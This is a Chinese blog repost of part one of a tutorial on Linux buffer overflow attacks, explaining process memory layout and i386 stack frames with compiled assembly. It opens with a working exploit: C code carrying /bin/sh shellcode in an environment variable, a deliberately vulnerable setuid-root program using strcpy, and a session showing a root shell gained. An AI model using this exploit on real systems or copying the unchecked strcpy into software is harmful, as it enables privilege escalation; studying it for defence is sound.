ITPub博客

首页 > > > Linux下缓冲区溢出攻击的原理及对策(上)

Linux下缓冲区溢出攻击的原理及对策(上)

作者:u_453e1a12781dea 时间:2016-10-31 15:06:37 0 删除 编辑
作者:王勇
原文:http://www.ibm.com/developerworks/cn/linux/l-overflow/#ibm-pcon

本文首先向读者讲解了Linux下进程地址空间的布局以及进程堆栈帧的结构,然后在此基础上介绍了Linux下缓冲区溢出攻击的原理及对策。

前言

从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆栈中弹出。尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持,但是由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此也给系统安全带来了极大的隐患。

历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的Morris Worm所携带的攻击代码了。这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞,给用户带来了很大危害。此后,越来越多的缓冲区溢出漏洞被发现。从bind、wu-ftpd、telnetd、apache等常用服务程序,到Microsoft、Oracle等软件厂商提供的应用程序,都存在着似乎永远也弥补不完的缓冲区溢出漏洞。

根据绿盟科技提供的漏洞报告,2002年共发现各种操作系统和应用程序的漏洞1830个,其中缓冲区溢出漏洞有432个,占总数的23.6%. 而绿盟科技评出的2002年严重程度、影响范围最大的十个安全漏洞中,和缓冲区溢出相关的就有6个。

在读者阅读本文之前有一点需要说明,文中所有示例程序的编译运行环境为gcc 2.7.2.3以及bash 1.14.7,如果读者不清楚自己所使用的编译运行环境可以通过以下命令查看:

$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/specs
gcc version 2.7.2.3
$ rpm -qf /bin/sh
bash-1.14.7-16

如果读者使用的是较高版本的gcc或bash的话,运行文中示例程序的结果可能会与这里给出的结果不尽相符,具体原因将在相应章节中做出解释。

Linux下缓冲区溢出攻击实例

为了引起读者的兴趣,我们不妨先来看一个Linux下的缓冲区溢出攻击实例。

#include <stdlib.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv)
{
       char large_string[128];
       long *long_ptr = (long *) large_string;
       int i;
       char shellcode[] =
               "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07"
               "\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d"
               "\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
               "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";
       for (i = 0; i < 32; i++)
               *(long_ptr + i) = (int) strtoul(argv[2], NULL, 16);
       for (i = 0; i < (int) strlen(shellcode); i++)
               large_string[i] = shellcode[i];
       setenv("KIRIKA", large_string, 1);
       execle(argv[1], argv[1], NULL, environ);
       return 0;
}

图1 攻击程序exe.c

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
       char buffer[96];
       printf("- %p -\\n", &buffer);
       strcpy(buffer, getenv("KIRIKA"));
       return 0;
}

图2 攻击对象toto.c

将上面两个程序分别编译为可执行程序,并且将toto改为属主为root的setuid程序:

$ gcc exe.c -o exe
$ gcc toto.c -o toto
$ su
Password:
# chown root.root toto
# chmod +s toto
# ls -l exe toto
-rwxr-xr-x    1 wy       os          11871 Sep 28 20:20 exe*
-rwsr-sr-x 1 root     root        11269 Sep 28 20:20 toto*
# exit

OK,看看接下来会发生什么。首先别忘了用whoami命令验证一下我们现在的身份。其实Linux继承了UNIX的一个习惯,即普通用户的命令提示符是以$开始的,而超级用户的命令提示符是以#开始的。

$ whoami
wy
$ ./exe ./toto 0xbfffffff
- 0xbffffc38 -
Segmentation fault
$ ./exe ./toto 0xbffffc38
- 0xbffffc38 -
bash# whoami
root
bash#

第一次一般不会成功,但是我们可以准确得知系统的漏洞所在――0xbffffc38,第二次必然一击毙命。当我们在新创建的shell下再次执行whoami命令时,我们的身份已经是root了!由于在所有UNIX系统下黑客攻击的最高目标就是对root权限的追求,因此可以说系统已经被攻破了。

这里我们模拟了一次Linux下缓冲区溢出攻击的典型案例。toto的属主为root,并且具有setuid属性,通常这种程序是缓冲区溢出的典型攻击目标。普通用户wy通过其含有恶意攻击代码的程序exe向具有缺陷的toto发动了一次缓冲区溢出攻击,并由此获得了系统的root权限。有一点需要说明的是,如果读者使用的是较高版本的bash的话,即使通过缓冲区溢出攻击exe得到了一个新的shell,在看到whoami命令的结果后您可能会发现您的权限并没有改变,具体原因我们将在本文最后一节做出详细的解释。不过为了一睹为快,您可以先使用本文 代码包中所带的exe_pro.c作为攻击程序,而不是图1中的exe.c。

Linux下进程地址空间的布局及堆栈帧的结构

要想了解Linux下缓冲区溢出攻击的原理,我们必须首先掌握Linux下进程地址空间的布局以及堆栈帧的结构。
任何一个程序通常都包括代码段和数据段,这些代码和数据本身都是静态的。程序要想运行,首先要由操作系统负责为其创建进程,并在进程的虚拟地址空间中为其代码段和数据段建立映射。光有代码段和数据段是不够的,进程在运行过程中还要有其动态环境,其中最重要的就是堆栈。图3所示为Linux下进程的地址空间布局:

图3 Linux下进程地址空间的布局


首先,execve(2)会负责为进程代码段和数据段建立映射,真正将代码段和数据段的内容读入内存是由系统的缺页异常处理程序按需完成的。另外,execve(2)还会将bss段清零,这就是为什么未赋初值的全局变量以及static变量其初值为零的原因。进程用户空间的最高位置是用来存放程序运行时的命令行参数及环境变量的,在这段地址空间的下方和bss段的上方还留有一个很大的空洞,而作为进程动态运行环境的堆栈和堆就栖身其中,其中堆栈向下伸展,堆向上伸展。

知道了堆栈在进程地址空间中的位置,我们再来看一看堆栈中都存放了什么。相信读者对C语言中的函数这样的概念都已经很熟悉了,实际上堆栈中存放的就是与每个函数对应的堆栈帧。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆栈中弹出。典型的堆栈帧结构如图4所示。

堆栈帧的顶部为函数的实参,下面是函数的返回地址以及前一个堆栈帧的指针,最下面是分配给函数的局部变量使用的空间。一个堆栈帧通常都有两个指针,其中一个称为堆栈帧指针,另一个称为栈顶指针。前者所指向的位置是固定的,而后者所指向的位置在函数的运行过程中可变。因此,在函数中访问实参和局部变量时都是以堆栈帧指针为基址,再加上一个偏移。对照图4可知,实参的偏移为正,局部变量的偏移为负。

图4 典型的堆栈帧结构


介绍了堆栈帧的结构,我们再来看一下在Intel i386体系结构上堆栈帧是如何实现的。图5和图6分别是一个简单的C程序及其编译后生成的汇编程序。

图5 一个简单的C程序example1.c

int function(int a, int b, int c)
{
       char buffer[14];
       int     sum;
       sum = a + b + c;
       return sum;
}
void main()
{
       int     i;
       i = function(1,2,3);
}

图6 example1.c编译后生成的汇编程序example1.s

1    .file   "example1.c"
2     .version    "01.01"
3 gcc2_compiled.:
4 .text
5     .align 4
6 .globl function
7     .type    function,@function
8 function:
9     pushl %ebp
10     movl %esp,%ebp
11     subl $20,%esp
12     movl 8(%ebp),%eax
13     addl 12(%ebp),%eax
14     movl 16(%ebp),%edx
15     addl %eax,%edx
16     movl %edx,-20(%ebp)
17     movl -20(%ebp),%eax
18     jmp .L1
19     .align 4
20 .L1:
21     leave
22     ret
23 .Lfe1:
24     .size    function,.Lfe1-function
25     .align 4
26 .globl main
27     .type    main,@function
28 main:
29     pushl %ebp
30movl %esp,%ebp
31     subl $4,%esp
32     pushl $3
33     pushl $2
34     pushl $1
35     call function
36     addl $12,%esp
37     movl %eax,%eax
38     movl %eax,-4(%ebp)
39 .L2:
40     leave
41     ret
42 .Lfe2:
43     .size    main,.Lfe2-main
44     .ident  "GCC: (GNU) 2.7.2.3"

这里我们着重关心一下与函数function对应的堆栈帧形成和销毁的过程。从图5中可以看到,function是在main中被调用的,三个实参的值分别为1、2、3。由于C语言中函数传参遵循反向压栈顺序,所以在图6中32至34行三个实参从右向左依次被压入堆栈。接下来35行的call指令除了将控制转移到function之外,还要将call的下一条指令addl的地址,也就是function函数的返回地址压入堆栈。下面就进入function函数了,首先在第9行将main函数的堆栈帧指针ebp保存在堆栈中并在第10行将当前的栈顶指针esp保存在堆栈帧指针ebp中,最后在第11行为function函数的局部变量buffer[14]和sum在堆栈中分配空间。至此,函数function的堆栈帧就构建完成了,其结构如图7所示。

图7 函数function的堆栈帧


读者不妨回过头去与图4对比一下。这里有几点需要说明。首先,在Intel i386体系结构下,堆栈帧指针的角色是由ebp扮演的,而栈顶指针的角色是由esp扮演的。另外,函数function的局部变量buffer[14]由14个字符组成,其大小按说应为14字节,但是在堆栈帧中却为其分配了16个字节。这是时间效率和空间效率之间的一种折衷,因为Intel i386是32位的处理器,其每次内存访问都必须是4字节对齐的,而高30位地址相同的4个字节就构成了一个机器字。因此,如果为了填补buffer[14]留下的两个字节而将sum分配在两个不同的机器字中,那么每次访问sum就需要两次内存操作,这显然是无法接受的。还有一点需要说明的是,正如我们在本文前言中所指出的,如果读者使用的是较高版本的gcc的话,您所看到的函数function对应的堆栈帧可能和图7所示有所不同。上面已经讲过,为函数function的局部变量buffer[14]和sum在堆栈中分配空间是通过在图6中第11行对esp进行减法操作完成的,而sub指令中的20正是这里两个局部变量所需的存储空间大小。但是在较高版本的gcc中,sub指令中出现的数字可能不是20,而是一个更大的数字。应该说这与优化编译技术有关,在较高版本的gcc中为了有效运用目前流行的各种优化编译技术,通常需要在每个函数的堆栈帧中留出一定额外的空间。

下面我们再来看一下在函数function中是如何将a、b、c的和赋给sum的。前面已经提过,在函数中访问实参和局部变量时都是以堆栈帧指针为基址,再加上一个偏移,而Intel i386体系结构下的堆栈帧指针就是ebp,为了清楚起见,我们在图7中标出了堆栈帧中所有成分相对于堆栈帧指针ebp的偏移。这下图6中12至16的计算就一目了然了,8(%ebp)、12(%ebp)、16(%ebp)和-20(%ebp)分别是实参a、b、c和局部变量sum的地址,几个简单的add指令和mov指令执行后sum中便是a、b、c三者之和了。另外,在gcc编译生成的汇编程序中函数的返回结果是通过eax传递的,因此在图6中第17行将sum的值拷贝到eax中。

最后,我们再来看一下函数function执行完之后与其对应的堆栈帧是如何弹出堆栈的。图6中第21行的leave指令将堆栈帧指针ebp拷贝到esp中,于是在堆栈帧中为局部变量buffer[14]和sum分配的空间就被释放了;除此之外,leave指令还有一个功能,就是从堆栈中弹出一个机器字并将其存放到ebp中,这样ebp就被恢复为main函数的堆栈帧指针了。第22行的ret指令再次从堆栈中弹出一个机器字并将其存放到指令指针eip中,这样控制就返回到了第36行main函数中的addl指令处。addl指令将栈顶指针esp加上12,于是当初调用函数function之前压入堆栈的三个实参所占用的堆栈空间也被释放掉了。至此,函数function的堆栈帧就被完全销毁了。前面刚刚提到过,在gcc编译生成的汇编程序中通过eax传递函数的返回结果,因此图6中第38行将函数function的返回结果保存在了main函数的局部变量i中。

原文作者:;如有侵权,请联系管理员删除。

请登录后发表评论 登录
全部评论

注册时间:2019-07-17

  • 博文量
    1982
  • 访问量
    17885